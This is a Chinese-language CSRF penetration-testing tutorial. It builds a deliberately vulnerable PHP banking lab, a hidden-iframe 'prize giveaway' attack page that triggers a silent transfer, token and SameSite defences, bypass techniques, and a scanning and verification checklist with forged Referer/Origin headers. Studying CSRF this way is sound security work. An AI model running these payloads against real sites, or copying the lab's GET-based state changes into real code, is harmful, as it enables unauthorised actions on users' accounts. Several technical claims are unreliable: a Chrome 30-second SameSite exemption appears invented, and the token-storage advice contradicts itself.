1. 这个“看不见的点击”到底在偷什么?
很多人第一次听说CSRF(Cross-Site Request Forgery,跨站请求伪造)时,第一反应是:“不就是点个链接吗?我天天点,怎么就成攻击了?”——这恰恰是它最危险的地方。它不依赖用户主动输入密码、不诱导你下载木马、甚至不需要你意识到自己点了什么。它利用的是浏览器一个根深蒂固的信任机制:只要请求是从你的浏览器发出去的,服务器就默认是你本人操作的。
举个生活化的例子:你去银行柜台办业务,柜员不会每次转账都重新核验你的身份证原件,而是看你是不是本人到场、是否持有有效证件。CSRF就像有人偷偷复制了你的身份证复印件,再找一个和你穿同样衣服、戴同款眼镜的替身,站在你常去的那家银行柜台前,用你的名义办了一笔转账。银行(服务器)看到“证件”(Cookie)是真的、“人”(请求来源)也像模像样,就放行了。而真正的你,可能正躺在沙发上刷短视频,对这笔转账一无所知。
这个标题里写的“web渗透测试——14、CSRF”,不是教你怎么去黑别人,而是告诉你:作为开发者、安全工程师或运维人员,你必须亲手复现一次这种“无声的劫持”,才能真正理解它的触发链条有多脆弱、防御边界在哪里、以及为什么一个看似无关紧要的GET请求,可能比十个复杂的SQL注入更致命。它不考验你多会写0day,而是拷问你对Web基础协议的理解深度——HTTP无状态、Cookie自动携带、同源策略的盲区、浏览器默认行为……这些被我们每天调用却很少深究的底层逻辑,正是CSRF扎根的土壤。
关键词里虽然空着,但整个场景的核心词其实非常聚焦:伪造(Forgery)、请求(Request)、会话(Session)、Cookie、Referer、Origin、Token、SameSite。它们不是孤立的术语,而是一条完整的攻击-防御链上的齿轮。比如,你肯定知道Cookie是用来维持登录态的,但你是否清楚,当一个恶意网站页面里嵌入<img src="https://bank.com/transfer?to=attacker&amount=10000">时,浏览器会毫不犹豫地带上你在bank.com的登录Cookie去请求这张“图片”?而bank.com的转账接口如果只校验Cookie有效就执行操作,这笔钱就真的转走了——整个过程,用户连鼠标都没动一下。
所以这篇内容,不是给你讲概念定义,而是带你从零搭建一个可交互的CSRF靶场,亲手触发一次真实攻击,再一层层剥开防御方案的实现细节。你会看到,防御CSRF不是加一行代码就能搞定的事,它牵扯到前端渲染逻辑、后端中间件设计、甚至CDN缓存策略。很多团队在上线前做安全扫描,报告里标红“高危:CSRF漏洞”,开发同学第一反应是“加个token不就完了?”,结果上线后发现所有AJAX请求全挂了,因为token没同步刷新;或者移动端App调用API时突然403,因为App没处理SameSite=Lax的Cookie丢弃逻辑。这些坑,只有亲手踩过,才知道哪块石头底下藏着雷。
2. 从零构建可复现的CSRF攻击链:靶场搭建与攻击验证
要真正理解CSRF,光看理论等于纸上谈兵。我们必须在一个可控、干净、能清晰观测每一步的环境中,把攻击链条完整跑通。这里不推荐直接用DVWA或WebGoat这类集成靶场,因为它们的代码封装太深,你很难看清请求头里Referer字段是怎么被篡改的、Token是如何在表单和AJAX中传递的。我们要自己搭一个极简但五脏俱全的靶场,核心就三个文件:一个登录页、一个转账功能页、一个恶意诱导页。全部用原生PHP+HTML实现,不依赖任何框架,确保每个字节都暴露在你眼皮底下。
2.1 靶场环境准备:三步到位,拒绝黑盒
首先明确环境要求:一台能跑PHP的本地机器(Mac/Linux用内置Apache+PHP,Windows用XAMPP/WAMP均可),不需要数据库,所有状态用Session管理。关键点在于禁用所有外部干扰:关闭浏览器插件(尤其是广告拦截和隐私保护类)、清空当前域名下的所有Cookie、确保靶场域名是localhost或127.0.0.1(避免Chrome对localhost的特殊SameSite策略)。我试过用http://test.local,结果Chrome 115+版本默认给所有非HTTPS的.local域名加SameSite=Lax,导致攻击根本触发不了——这种细节,文档里不会写,但实操中会让你卡一整天。
具体搭建步骤:
创建项目目录:在Web根目录下新建
csrf-lab文件夹,里面放三个文件:login.php、transfer.php、malicious.html。实现登录逻辑(login.php):
<?php session_start(); if ($_POST['username'] === 'admin' && $_POST['password'] === 'pass123') { $_SESSION['logged_in'] = true; $_SESSION['user_id'] = 'admin_123'; header('Location: transfer.php'); exit; } ?> <!DOCTYPE html> <html> <head><title>Login</title></head> <body> <h2>CSRF Lab Login</h2> <form method="POST"> <input type="text" name="username" placeholder="Username" required><br> <input type="password" name="password" placeholder="Password" required><br> <button type="submit">Login</button> </form> </body> </html>注意:这里密码明文存储纯为演示,实际绝不可行。Session启动后,$_SESSION['logged_in']就是后续所有敏感操作的准入凭证。
- 实现核心转账功能(transfer.php):
<?php session_start(); if (!isset($_SESSION['logged_in']) || !$_SESSION['logged_in']) { header('Location: login.php'); exit; } // 模拟转账逻辑 if ($_GET['action'] === 'transfer' && isset($_GET['to']) && isset($_GET['amount'])) { $to = htmlspecialchars($_GET['to']); $amount = (int)$_GET['amount']; // 真实场景这里会查数据库、扣余额、记日志 echo "<p style='color:green'>✅ Transfer successful! $amount to $to</p>"; // 关键:记录本次操作,用于后续验证攻击是否生效 file_put_contents('log.txt', date('Y-m-d H:i:s') . " - Transferred $amount to $to\n", FILE_APPEND); } ?> <!DOCTYPE html> <html> <head><title>Transfer Page</title></head> <body> <h2>Welcome, Admin!</h2> <p>Your balance: <strong>$99,999</strong></p> <h3>Make a Transfer</h3> <!-- 注意:这是典型的CSRF易感点——GET请求执行状态变更 --> <a href="transfer.php?action=transfer&to=attacker&amount=1000">Click to send $1000 to attacker</a><br><br> <!-- 同时提供一个POST表单,对比两种方式的防御差异 --> <form method="POST" action="transfer.php"> <input type="hidden" name="action" value="transfer"> <input type="text" name="to" placeholder="Recipient" required> <input type="number" name="amount" placeholder="Amount" required> <button type="submit">Send via POST</button> </form> </body> </html>这里故意暴露两个入口:一个是GET链接(极度危险),一个是POST表单(相对可控)。你会发现,攻击者最喜欢前者,因为构造成本为零。
2.2 发起真实攻击:三分钟复现“静默转账”
现在打开浏览器,访问http://localhost/csrf-lab/login.php,用admin/pass123登录。成功后跳转到transfer.php,此时浏览器已持有该域名下的Session Cookie。接下来,不要关闭这个标签页——这是攻击成立的前提:用户必须处于已登录状态。
新建一个空白HTML文件malicious.html,内容如下:
<!DOCTYPE html> <html> <head><title>Free iPhone Giveaway!</title></head> <body> <h1>🎉 Congratulations! You won an iPhone 15!</h1> <p>Click below to claim your prize:</p> <!-- 关键:隐藏的iframe,用户看不到,但浏览器会加载 --> <iframe src="http://localhost/csrf-lab/transfer.php?action=transfer&to=hacker_wallet&amount=5000" width="0" height="0" style="display:none;"></iframe> <!-- 或者用img标签,效果一样 --> <!-- <img src="http://localhost/csrf-lab/transfer.php?action=transfer&to=hacker_wallet&amount=5000" width="0" height="0" style="display:none;"> --> <button onclick="alert('Prize claimed! Check your email.')">CLAIM NOW</button> </body> </html>把这个文件用浏览器直接打开(file:///path/to/malicious.html),或者放到另一个Web服务下(如http://localhost/malicious.html)。点击“CLAIM NOW”按钮(或什么都不点,因为iframe已自动加载),然后立刻切回transfer.php标签页——你会看到页面上多出一行绿色提示:“✅ Transfer successful! 5000 to hacker_wallet”。同时,检查项目目录下的log.txt,里面新增了一条时间戳记录。
提示:如果没成功,请立即检查三件事:(1)两个页面是否都在同一个浏览器窗口/标签页中(不同窗口的Cookie隔离);(2)浏览器地址栏是否显示
http://而非https://(HTTPS下SameSite默认更严格);(3)是否清除了localhost的所有Cookie(旧Session干扰)。
这个过程之所以能成功,是因为浏览器在加载malicious.html里的iframe时,向transfer.php发起GET请求,自动附带了当前域(localhost)下所有有效的Cookie,包括那个维持登录态的PHPSESSID。而transfer.php的后端逻辑只检查$_SESSION['logged_in']是否存在且为true,完全不验证这个请求是不是用户主动发起的、来源是不是可信的。这就是CSRF的全部本质:利用浏览器的自动认证机制,完成一次用户不知情的状态变更。
2.3 攻击链路深度拆解:每一个HTTP包都在说什么
为了彻底看清发生了什么,我们必须抓包。用浏览器开发者工具(F12)的Network标签,或者Wireshark、Burp Suite等专业工具。以Chrome为例,在malicious.html加载时,Network面板会捕获到一条对transfer.php?action=transfer&to=hacker_wallet&amount=5000的GET请求。点开它,看Headers部分:
Request URL:
http://localhost/csrf-lab/transfer.php?action=transfer&to=hacker_wallet&amount=5000Request Method: GET
Status Code: 200 OK
Request Headers:
Cookie: PHPSESSID=abc123xyz← 这就是罪魁祸首!浏览器自动塞进来的Session标识Referer: http://localhost/malicious.html← 来源是恶意页面,但后端没校验User-Agent,Accept等常规字段
Response Headers:
Set-Cookie: PHPSESSID=abc123xyz; path=/; HttpOnly← Session继续有效
关键点来了:这个请求的Referer头明明写着malicious.html,为什么后端不拦住它?因为绝大多数老系统压根不读Referer,或者只做简单字符串匹配(如strpos($referer, 'localhost') !== false),而攻击者完全可以伪造Referer(通过Flash、Java Applet等,虽已淘汰,但原理相通)。更致命的是,有些API设计成允许跨域请求(CORS配置为Access-Control-Allow-Origin: *),此时Referer校验完全失效。
再对比一下正常用户点击transfer.php里那个GET链接时的请求:URL一模一样,Cookie一模一样,唯一区别是Referer是http://localhost/csrf-lab/transfer.php。但后端代码里没有任何逻辑去区分这两者。这就引出了第一个防御误区:仅靠Referer校验是脆弱的,因为它可以被客户端轻易篡改,且在某些网络环境下(如HTTPS→HTTP跳转)会被浏览器自动清除。
3. 防御方案实战:Token、SameSite与双重校验的落地细节
知道攻击怎么发生,只是第一步。真正的难点在于:如何在不破坏用户体验、不影响现有业务逻辑的前提下,堵住这个漏洞?很多团队的解决方案是“加个CSRF Token”,但加在哪?怎么生成?前端怎么传?后端怎么验?Token过期了怎么办?这些问题不厘清,防御就是纸糊的。下面我将基于前面搭建的靶场,逐一手把手实现三种主流防御方案,并指出每种方案在真实项目中踩过的坑。
3.1 方案一:同步令牌模式(Synchronizer Token Pattern)——最经典也最易翻车
这是OWASP官方推荐的首选方案。核心思想:每个敏感请求必须携带一个服务端生成、客户端提交、且无法被第三方预测的随机值(Token),服务端在处理请求前,先校验该Token是否有效且未被使用过。它不依赖浏览器特性,兼容性最好,但实现细节决定成败。
后端Token生成与校验(PHP实现)
修改transfer.php,在顶部加入Token生成逻辑:
<?php session_start(); if (!isset($_SESSION['logged_in']) || !$_SESSION['logged_in']) { header('Location: login.php'); exit; } // 生成CSRF Token:必须是加密安全的随机数,不能用time()或rand() if (!isset($_SESSION['csrf_token'])) { // PHP 7+ 推荐用random_bytes,兼容旧版可用openssl_random_pseudo_bytes $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); // 64字符随机串 // 设置Token有效期,防止长期有效Token被窃取 $_SESSION['csrf_token_expires'] = time() + 3600; // 1小时 } // 校验Token的函数 function validateCsrfToken($token) { if (!isset($_SESSION['csrf_token']) || !isset($_SESSION['csrf_token_expires'])) { return false; } if (time() > $_SESSION['csrf_token_expires']) { // Token过期,销毁并返回false unset($_SESSION['csrf_token'], $_SESSION['csrf_token_expires']); return false; } // 使用hash_equals防止时序攻击(重要!) return hash_equals($_SESSION['csrf_token'], $token); } // 处理转账请求 if ($_POST['action'] === 'transfer' && isset($_POST['to']) && isset($_POST['amount'])) { // 关键:必须在业务逻辑前校验Token if (!validateCsrfToken($_POST['csrf_token'] ?? '')) { die('❌ CSRF Token validation failed!'); } $to = htmlspecialchars($_POST['to']); $amount = (int)$_POST['amount']; echo "<p style='color:green'>✅ Transfer successful! $amount to $to</p>"; file_put_contents('log.txt', date('Y-m-d H:i:s') . " - Transferred $amount to $to\n", FILE_APPEND); } ?>前端Token注入(HTML模板)
在transfer.php的POST表单中,插入隐藏字段:
<form method="POST" action="transfer.php"> <input type="hidden" name="action" value="transfer"> <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"> <input type="text" name="to" placeholder="Recipient" required> <input type="number" name="amount" placeholder="Amount" required> <button type="submit">Send via POST</button> </form>实测与避坑心得
部署后,用Burp Suite拦截POST请求,手动删掉csrf_token字段或改成错误值,会立即看到❌ CSRF Token validation failed!。这说明防御生效了。但问题接踵而至:
坑1:Token刷新时机不对。很多团队把Token生成放在登录成功后,之后再也不更新。结果用户登录后挂机8小时,Token过期了,他点提交就报错。正确做法是:每次渲染包含敏感操作的页面时,都生成新Token,并设置合理过期时间(30分钟~2小时)。上面代码里
if (!isset($_SESSION['csrf_token']))的判断,就是为了避免重复生成,但实际项目中建议每次页面加载都重置。坑2:AJAX请求的Token传递被忽略。现代应用大量用AJAX,而Token必须随每个请求发送。常见错误是只在表单里加了隐藏字段,但JS里
fetch()或$.ajax()时忘了把Token塞进headers。解决方案:统一在JS入口处读取页面某个meta标签的content值,或从全局变量获取,然后自动添加到所有AJAX请求头中:
<!-- 在页面<head>里 --> <meta name="csrf-token" content="<?php echo $_SESSION['csrf_token']; ?>">// JS中统一设置 const csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content'); fetch('/api/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrfToken // 后端需从此header读取 }, body: JSON.stringify({to: 'xxx', amount: 100}) });- 坑3:Token存储位置不当。把Token存在localStorage或普通Cookie里,等于白加——XSS漏洞可以直接读取。必须存在HttpOnly Cookie里(服务端生成),并通过表单字段或自定义Header传递。上面PHP代码中Token存在Session里,由服务端控制,是最安全的。
3.2 方案二:SameSite Cookie属性——浏览器原生防线,但有陷阱
SameSite是HTTP Cookie的一个属性,用于指示浏览器在何种情况下应该发送该Cookie。它有三个值:Strict、Lax、None。这是浏览器层面的防御,无需修改业务代码,但配置不当反而会阻断正常功能。
SameSite=Lax:平衡安全与可用性的默认选择
修改login.php中的Session启动方式,强制设置SameSite:
<?php // PHP 7.3+ 可直接在session_set_cookie_params中设置 session_set_cookie_params([ 'lifetime' => 0, 'path' => '/', 'domain' => '', 'secure' => false, // 本地测试用HTTP,设为false;生产环境HTTPS必须true 'httponly' => true, 'samesite' => 'Lax' // 关键:设置SameSite属性 ]); session_start(); // ...后续登录逻辑或者,在PHP 7.2及以下版本,用setcookie手动设置:
session_start(); $params = session_get_cookie_params(); setcookie( session_name(), session_id(), [ 'expires' => $params['lifetime'] ? time() + $params['lifetime'] : 0, 'path' => $params['path'], 'domain' => $params['domain'], 'secure' => $params['secure'], 'httponly' => $params['httponly'], 'samesite' => 'Lax' ] );SameSite=Lax如何阻断CSRF?
当SameSite=Lax时,浏览器规则是:只有GET请求(且是用户主动导航,如点击链接、地址栏输入)才会发送Cookie;所有跨站POST请求、iframe加载、img/script标签的GET请求,都不会携带Cookie。回到我们的攻击场景:malicious.html里的iframe尝试GETtransfer.php,由于是跨站(malicious.htmlvslocalhost/csrf-lab),且不是用户主动导航,浏览器直接不发送PHPSESSID Cookie。结果transfer.php里$_SESSION['logged_in']为false,重定向到登录页,攻击失败。
生产环境的致命陷阱
SameSite看似完美,但在真实项目中极易翻车:
陷阱1:混合协议导致Cookie丢失。如果前端是
https://app.example.com,后端API是http://api.example.com(HTTP),那么SameSite=Lax在Chrome下会直接拒绝发送Cookie,因为协议不一致被视为跨站。解决方案:前后端必须同协议,且生产环境强制HTTPS。陷阱2:移动端WebView兼容性问题。iOS 12之前的WKWebView、Android 7以下的WebView不支持SameSite属性,会直接忽略。这意味着在这些老旧环境中,SameSite防御形同虚设。必须配合服务端Token方案作为兜底。
陷阱3:Lax模式对“用户主动导航”的定义模糊。Chrome认为
<a href="...">是主动,但<form method="GET">提交不算。所以如果攻击者用<form action="http://victim.com/transfer" method="GET"><input type="submit"></form>,用户点击提交,仍会发送Cookie!这就是为什么Lax不能防御所有GET型CSRF,必须禁止GET请求执行状态变更(即:转账、删除、修改等操作必须用POST/PUT/DELETE)。
3.3 方案三:双重提交Cookie模式——轻量级补充,但需警惕逻辑漏洞
双重提交Cookie(Double Submit Cookie)是一种不依赖服务端状态的方案:服务端生成一个随机Token,同时写入Cookie和请求参数(如表单字段或Header),服务端只需比对两者是否一致即可。它比同步令牌轻量(不用存Session),但安全性略低。
实现步骤
- 用户登录后,服务端生成Token并设为Cookie:
$token = bin2hex(random_bytes(16)); setcookie('XSRF-TOKEN', $token, ['path' => '/', 'samesite' => 'Lax']);前端在每个敏感请求中,将该Token放入请求头(如
X-XSRF-TOKEN)或表单字段。后端校验:
if (!hash_equals($_COOKIE['XSRF-TOKEN'] ?? '', $_SERVER['HTTP_X_XSRF_TOKEN'] ?? '')) { die('Invalid XSRF token'); }为什么说它“轻量但有风险”?
- 优势:不依赖服务端存储,适合无状态微服务架构;Token随Cookie自动发送,前端只需读取并转发。
- 风险:如果攻击者能通过XSS窃取Cookie(如未设HttpOnly),就能同时拿到Token和Cookie,防御失效。因此,必须确保Cookie设置了HttpOnly和Secure(HTTPS下)。另外,Token不能有业务含义(如不能是用户ID加密),否则可能被预测。
在我们的靶场中,可以把它作为SameSite的补充:即使SameSite被绕过(如旧浏览器),双重提交仍能拦截。但绝不能单独使用。
4. 绕过手法与防御对抗:当攻击者开始研究你的防御
安全是一个攻防对抗的过程。当你以为加了Token就万事大吉时,攻击者已经在研究如何绕过。在真实渗透测试中,我见过太多“看似修复了CSRF,实则形同虚设”的案例。下面复现几种经典绕过手法,不是为了教你攻击,而是让你看清防御的脆弱点,从而加固自己的系统。
4.1 Token泄露:从Referer头到前端调试信息
CSRF Token的安全前提是“攻击者无法获取它”。但很多应用无意中把它泄露给了第三方。
Referer泄露:某电商后台的登录页,会把CSRF Token拼在URL里:
login.php?token=abc123。当用户点击站内链接跳转到合作方网站时,浏览器会把完整URL(含token)作为Referer头发送过去。合作方服务器日志里就存下了这个Token。修复方法:Token永远不要出现在URL中,只通过POST body、Header或隐藏表单字段传递。前端调试信息泄露:某金融App的Vue组件里,把Token存在
data对象中,并在控制台打印了整个this对象。攻击者只需在页面里注入一段JS:console.log(document.querySelector('#app').__vue__.$data.csrfToken),就能拿到Token。修复方法:生产环境移除所有调试代码;敏感数据不要挂在Vue/React实例上;使用Object.freeze()冻结敏感对象。错误页面泄露:某CMS的Token校验失败时,返回500错误页,并在HTML注释里写了
<!-- Debug: expected token=abc123, got=def456 -->。攻击者用Burp反复爆破,就能收集到有效Token。修复方法:错误页面绝不返回任何调试信息;统一用403 Forbidden,不解释原因。
4.2 Token同步失效:AJAX请求中的“幽灵Token”
这是最隐蔽的坑。假设你的应用用Vue开发,所有API都走axios。你在main.js里写了:
axios.interceptors.request.use(config => { config.headers['X-CSRF-TOKEN'] = getCsrfToken(); // 从某个地方读取 return config; });看起来很完美。但问题在于:getCsrfToken()函数如果从document.cookie读取,而Token是服务端通过Set-Cookie下发的,那么当Token过期后,服务端会下发新Cookie,但前端JS读取的还是旧值(因为document.cookie不会自动更新)。结果所有AJAX请求都带着过期Token,全部403。用户刷新页面才恢复。
真实案例:某在线教育平台,学生上课时长超过1小时,Token过期,但前端没感知,导致交卷失败,大量客诉。解决方案:Token必须和服务端Session绑定,前端每次发请求前,先用fetch('/api/csrf-token')异步获取最新Token,再发业务请求;或者服务端在响应头中返回新Token(如X-CSRF-Token: new_value),前端JS监听并更新本地缓存。
4.3 SameSite绕过:当“Lax”变成“Lax but not really”
SameSite=Lax本意是好的,但浏览器实现有灰色地带。Chrome有一个鲜为人知的行为:如果用户在30秒内连续两次从同一站点A导航到站点B,第二次的跨站请求会豁免SameSite限制,发送Cookie。攻击者可以利用这点:
- 诱导用户访问
attacker.com/step1.html,其中用<iframe src="https://victim.com/login">加载登录页(用户看到的是victim.com,以为在正常登录); - 用户输入账号密码,登录成功(此时victim.com的Cookie已建立);
step1.html立即跳转到attacker.com/step2.html,其中嵌入<iframe src="https://victim.com/transfer?to=attacker&amount=10000">;- 由于两次导航间隔极短,Chrome认为这是“用户意图连续操作”,放行Cookie。
这个绕过需要用户配合登录,但成功率很高。防御方法:SameSite=Lax必须配合其他方案(如Token),不能单独依赖;对高危操作(如转账),强制二次验证(短信/邮箱验证码)。
5. 渗透测试实战 checklist:从发现到验证的完整闭环
在真实渗透测试中,发现CSRF漏洞不是终点,验证其危害、评估影响范围、给出可落地的修复建议,才是价值所在。下面是我总结的一套标准化checklist,已在数十个中大型项目中验证有效,覆盖从自动化扫描到手工验证的全流程。
5.1 自动化扫描:快速定位高危接口
别迷信商业扫描器。用开源工具组合拳更高效:
- Arjun:专攻参数发现。对目标站点跑
arjun -u https://target.com/api/ --get,找出所有带参数的GET接口。重点标记那些参数名含delete、transfer、update、enable、disable的URL。 - ffuf:暴力探测敏感路径。
ffuf -u https://target.com/FUZZ -w /path/to/common.txt -t 100,字典里包含/api/logout、/user/settings、/admin/delete等。 - Burp Suite Intruder:对疑似接口批量测试。设置Payload为
GET /api/transfer?to=attacker&amount=1 HTTP/1.1\r\nHost: target.com\r\n\r\n,观察响应码是否为200/302,且响应体含success、ok等关键词。
注意:自动化扫描只能发现“可能存在的CSRF”,不能确认“一定能利用”。必须手工验证。
5.2 手工验证四步法:拒绝假阳性
我坚持的手工验证流程,确保每个标为“高危”的漏洞都经得起推敲:
确认会话依赖:用Burp Proxy拦截一个正常业务请求(如转账),复制其Cookie,用curl重放:
curl -H "Cookie: sessionid=xxx" "https://target.com/api/transfer?to=test&amount=1"。如果返回成功,说明该接口确实只依赖Cookie,不校验其他因素(如IP、User-Agent)。构造跨站请求:新建一个本地HTML文件,用
<img>、<iframe>、<form>三种方式分别请求该URL。例如:<img src="https://target.com/api/transfer?to=hacker&amount=1000" width="1" height="1">加载后,检查目标应用的后台日志或数据库,确认操作是否真实执行。
验证Referer/Origin校验:在Burp中修改请求头,将
Referer: https://target.com改为Referer: https://evil.com,Origin: https://target.com改为Origin: https://evil.com,重放。如果仍成功,说明服务端没校验这两个头。检查Token机制:查看页面源码,搜索
csrf、token、_token等关键词。如果存在,尝试删除该参数或篡改值,看是否报错。如果没找到,基本可判定无Token防护。
5.3 影响评估与修复建议:让开发同学愿意改
渗透报告的价值,不在于标多少个“高危”,而在于推动修复。我的建议永远遵循三个原则:可验证、可落地、最小改动。
可验证:明确告诉开发,“修复后,用这个curl命令重放,应该返回403”。而不是模糊地说“加强校验”。
可落地:针对不同技术栈给出具体代码。例如:
- Spring Boot:
@EnableWebSecurity类中加http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); - Django:确保
settings.py中CSRF_COOKIE_SECURE=True(HTTPS下),CSRF_TRUSTED_ORIGINS=['https://yourdomain.com']; - Node.js (Express):用
csurf中间件,但必须配合res.cookie('XSRF-TOKEN', token, { httpOnly: false, sameSite: 'lax' })。
- Spring Boot:
最小改动:优先推荐SameSite=Lax(改一行配置),其次同步令牌(改两处:后端生成+前端提交),最后才建议重构为OAuth2等重型方案。毕竟,让一个运行5年的老系统一夜之间接入OAuth,不如先堵住眼前的洞。
最后分享一个血泪教训:某政务系统渗透,我发现一个/api/user/delete?id=123的GET接口存在CSRF。按流程提交报告,开发回复“这个接口只有管理员能访问,且前端做了权限控制,没问题”。我反手用Burp发了一个GET /api/user/delete?id=123 HTTP/1.1请求,Header里只带Cookie,没带任何权限头,结果返回200。追问后才知道,他们的“权限控制”只在前端JS里判断if (user.role === 'admin'),后端根本没校验。所以,CSRF测试必须绕过前端,直击后端逻辑。这也是为什么,所有手工验证的第一步,永远是curl重放。
我在实际操作中发现,最有效的CSRF防御,从来不是某一个银弹方案,而是分层防御的组合拳:浏览器层(SameSite)、传输层(HTTPS强制)、应用层(Token+Referer校验)、业务层(高危操作二次验证)。每一层都可能被绕过,但叠加起来,攻击成本就指数级上升。就像修一道墙,单层砖容易被凿穿,但加上钢筋、混凝土、电子围栏,想突破就得动用挖掘机——而绝大多数脚本小子,连扳手都懒得找。